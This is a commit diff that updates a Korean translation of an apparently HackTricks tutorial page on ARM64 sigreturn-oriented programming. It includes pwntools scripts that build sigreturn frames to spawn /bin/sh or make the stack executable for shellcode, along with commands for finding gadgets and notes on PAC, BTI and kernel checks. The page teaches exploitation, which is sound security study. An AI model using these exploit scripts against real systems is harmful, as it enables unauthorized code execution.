Translated ['src/binary-exploitation/rop-return-oriented-programing/srop

This commit is contained in:
Translator 2025-08-19 20:16:32 +00:00
parent 54ac0b67d8
commit 95e521191f

View File

@ -1,10 +1,10 @@
# SROP - ARM64
# {{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Pwntools 예제
이 예제는 취약한 바이너리를 생성하고 이를 악용니다. 바이너리는 **스택에 읽어들인 후** **`sigreturn`**을 호출합니다:
이 예제는 취약한 바이너리를 생성하고 이를 악용하는 것입니다. 바이너리는 **스택에 읽어들인 후** **`sigreturn`**을 호출합니다:
```python
from pwn import *
@ -87,7 +87,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@ -132,11 +132,11 @@ return 0;
```
## Exploit
**`vdso`** 섹션에서 오프셋 **`0x7b0`**에 **`sigreturn`** 호출을 찾을 수 있습니다:
In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
따라서, 유출되면 이 주소를 **`sigreturn`**에 접근하는 데 사용할 수 있습니다, 만약 바이너리가 이를 로드하지 않는다면:
따라서, 유출된 경우, **이 주소를 사용하여 `sigreturn`에 접근할 수 있습니다** 이진 파일이 이를 로드하지 않는 경우:
```python
from pwn import *
@ -149,7 +149,7 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@ -165,16 +165,65 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
vdso에 대한 더 많은 정보는 다음을 확인하세요:
더 많은 정보는 vdso에 대해 확인하세요:
{{#ref}}
../ret2vdso.md
{{#endref}}
그리고 `/bin/sh`의 주소를 우회하려면 이를 가리키는 여러 환경 변수를 생성할 수 있습니다. 더 많은 정보는 다음을 확인하세요:
그리고 `/bin/sh`의 주소를 우회하기 위해 여러 개의 환경 변수를 생성할 수 있습니다. 더 많은 정보는:
{{#ref}}
../../common-binary-protections-and-bypasses/aslr/
{{#endref}}
---
## `sigreturn` 가젯 자동 찾기 (2023-2025)
현대 배포판에서 `sigreturn` 트램폴린은 여전히 **vDSO** 페이지에 의해 내보내지지만, 정확한 오프셋은 커널 버전 및 BTI(`+branch-protection`) 또는 PAC과 같은 빌드 플래그에 따라 달라질 수 있습니다. 이를 자동화하면 오프셋을 하드코딩하는 것을 방지할 수 있습니다:
```bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
```
두 도구는 **AArch64** 인코딩을 이해하며 *SROP 가젯*으로 사용할 수 있는 `mov x8, 0x8b ; svc #0` 시퀀스를 나열합니다.
> 참고: 바이너리가 **BTI**로 컴파일되면 모든 유효한 간접 분기 대상의 첫 번째 명령어는 `bti c`입니다. 링커에 의해 배치된 `sigreturn` 트램폴린은 이미 올바른 BTI 착륙 패드를 포함하고 있어 가젯이 비특권 코드에서 여전히 사용 가능합니다.
## ROP와 SROP 연결하기 (`mprotect`를 통한 피벗)
`rt_sigreturn`*모든* 범용 레지스터와 `pstate`를 제어할 수 있게 해줍니다. x86에서의 일반적인 패턴은: 1) SROP를 사용하여 `mprotect`를 호출하고, 2) 쉘코드를 포함하는 새로운 실행 가능한 스택으로 피벗하는 것입니다. ARM64에서도 동일한 아이디어가 작동합니다:
```python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
```
프레임을 전송한 후, `0x400000+0x100`에 원시 셸 코드를 포함하는 두 번째 단계를 전송할 수 있습니다. **AArch64**는 *PC-relative* 주소 지정을 사용하므로, 큰 ROP 체인을 구축하는 것보다 더 편리한 경우가 많습니다.
## 커널 검증, PAC 및 섀도우 스택
Linux 5.16은 사용자 공간 신호 프레임에 대한 더 엄격한 검증을 도입했습니다 (커밋 `36f5a6c73096`). 커널은 이제 다음을 확인합니다:
* `uc_flags``extra_context`가 존재할 때 `UC_FP_XSTATE`를 포함해야 합니다.
* `struct rt_sigframe`의 예약어는 0이어야 합니다.
* *extra_context* 레코드의 모든 포인터는 정렬되어 있으며 사용자 주소 공간 내를 가리켜야 합니다.
`pwntools>=4.10`은 자동으로 준수하는 프레임을 생성하지만, 수동으로 구축하는 경우 *reserved*를 0으로 초기화하고 정말 필요하지 않는 한 SVE 레코드를 생략해야 합니다. 그렇지 않으면 `rt_sigreturn`이 반환 대신 `SIGSEGV`를 전달합니다.
주류 Android 14 및 Fedora 38부터 사용자 공간은 기본적으로 **PAC** (*Pointer Authentication*) 및 **BTI**가 활성화된 상태로 컴파일됩니다 (`-mbranch-protection=standard`). *SROP* 자체는 영향을 받지 않지만, 커널이 생성된 프레임에서 직접 `PC`를 덮어쓰므로 스택에 저장된 인증된 LR을 우회합니다. 그러나 간접 분기를 수행하는 **후속 ROP 체인**은 BTI가 활성화된 명령어 또는 PAC된 주소로 점프해야 합니다. 가젯을 선택할 때 이를 염두에 두십시오.
ARMv8.9에서 도입된 섀도우 호출 스택(이미 ChromeOS 1.27+에서 활성화됨)은 컴파일러 수준의 완화 조치이며, SROP에 간섭하지 않습니다. 왜냐하면 반환 명령어가 실행되지 않기 때문입니다. 제어 흐름은 커널에 의해 전송됩니다.
## 참조
* [Linux arm64 신호 처리 문서](https://docs.kernel.org/arch/arm64/signal.html)
* [LWN "AArch64 분기 보호가 GCC 및 glibc에 도입됨" (2023)](https://lwn.net/Articles/915041/)
{{#include ../../../banners/hacktricks-training.md}}